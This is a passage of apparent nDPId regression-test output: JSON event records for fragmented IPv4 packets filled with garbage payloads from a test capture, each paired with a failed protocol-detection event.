+00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":28,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698076,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":28,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":29,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698083,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":29,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":30,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698095,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":30,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":31,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698107,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":31,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":32,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698118,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":32,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":33,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698131,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":33,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":34,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698146,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":34,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":35,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698158,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":35,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":36,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698170,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":36,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":37,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698216,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":37,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":38,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698229,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":38,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":39,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698241,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":39,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":40,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698252,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":40,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":41,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698264,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":41,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":42,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":42,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":43,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698291,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":43,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":44,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":44,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":45,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698315,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":45,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":46,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698326,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":46,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":47,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698338,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":47,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":48,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":48,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":49,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698361,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":49,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":50,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698374,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":50,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":51,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698387,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":51,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":52,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698398,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":52,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":53,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698410,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":53,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":54,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698422,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":54,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":55,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698434,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":55,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":56,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698446,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":56,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":57,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698458,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":57,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":58,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":58,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":59,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698489,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":59,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":60,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698505,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":60,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":61,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698520,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":61,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":62,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698533,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":62,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":63,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698553,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":63,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":64,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698567,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":64,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":65,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":65,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":66,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":66,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":67,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698603,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":67,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":68,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":68,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":69,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698634,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":69,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":70,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":698646,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection 